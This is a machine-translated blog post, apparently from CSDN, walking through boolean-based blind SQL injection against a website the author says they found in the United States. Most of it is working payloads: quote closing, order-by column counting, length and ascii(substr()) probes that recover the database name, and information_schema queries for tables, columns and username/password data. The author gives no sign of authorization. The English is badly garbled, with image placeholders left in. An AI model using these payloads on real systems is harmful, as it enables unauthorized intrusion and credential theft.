On the principle of blind Note

Disclaimer: This article is a blogger original article, follow the CC 4.0 BY-SA copyright agreement, reproduced, please attach the original source link and this statement.
This link: https://blog.csdn.net/qq_23066945/article/details/102771383

On the principle of blind Note

Before the United States to find a site with an injection was found to be blind, simply talk about the principle of the blinds.

step

1.xxx.com/index.php?ID=79 single quotes this position error, and directly give an error message:
Here Insert Picture Description
know that his watch is catalog, and is a single quote closed.

SQL: SELECT *FROM catalog WHERE ID = '79''

2. attempt to close, input '- + After the page to return to normal.
Here Insert Picture Description
3. Start guess field.
Entry

ID=79' order by 5--+

Textbook error returned.
No error message is the fifth field.

Unknown column '5' in 'order clause'

Here Insert Picture Description
Continue to try to enter

ID=79' order by 4--+

Return to normal, indicating that there are currently four fields in Table
Here Insert Picture Description
4. view return information
input:

ID=79' select 1,2,3,4 --+

Tried many times will not display any information, so try blinds.
Here Insert Picture Description
Here, his name has been out of the table, but I chose to look at the other table. So, to start from scratch.
Input:

ID=79' and length(database())>10 --+

View his database name is greater than 10, an error is returned
Here Insert Picture Description
when to continue, test, return to normal more than 9
Here Insert Picture Description
to continue to identify
input:

ID=79' and length(database())=10 --+

Finalize his database names are 10 characters
Here Insert Picture Description
5. began to speculate that the database name
first guess that the first letters
opened ascii table
Here Insert Picture Description
database name should be from a to z
type:

ID=79' and ascii(substr(database(),1,1))>122 --+

If the first letter of the database ascii code greater than 122, an error is returned
Here Insert Picture Description
optional, it is determined whether or not more than 50, returns true. Continue
Here Insert Picture Description
is greater than 75, return true
Here Insert Picture Description
115 final measured first letter database ascii code values return to normal.
115 corresponds to s. Therefore, the first letter database is s.
Here Insert Picture Description
Tested in the same manner as the second character ascii code 101, the code corresponding to ascii characters as e.
Here Insert Picture Description
6. In the above method the final measure database called sedimental
next burst table

and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0--+ 

The payload for me this chicken dish is not good intuitive understanding, we look to a local mysql environment.
Input:

select table_name from information_schema.tables where table_schema=database()

It is displayed directly in the current database table name.
Here Insert Picture Description
After entering the payload display, return multiple rows
Here Insert Picture Description
then use the limit parameter
limit0,1 -> the first line of data
limit1,2 -> the second line of data
so that a table row.
Input:

and ascii(substr((select table_name from information_schema.tables where table _schema=database() limit 0,1),1,1))>0 --+ 

Interpretation: whether to return a list of the first letter ascii code is greater than 0
and so, come to the first table, the second table.
7. burst fields

 and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>0

8. explosive content

and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0

Similar principles above.

End.

Finally Austria, there is a problem I hope big brother said.
Here Insert Picture Description

Guess you like

Origin blog.csdn.net/qq_23066945/article/details/102771383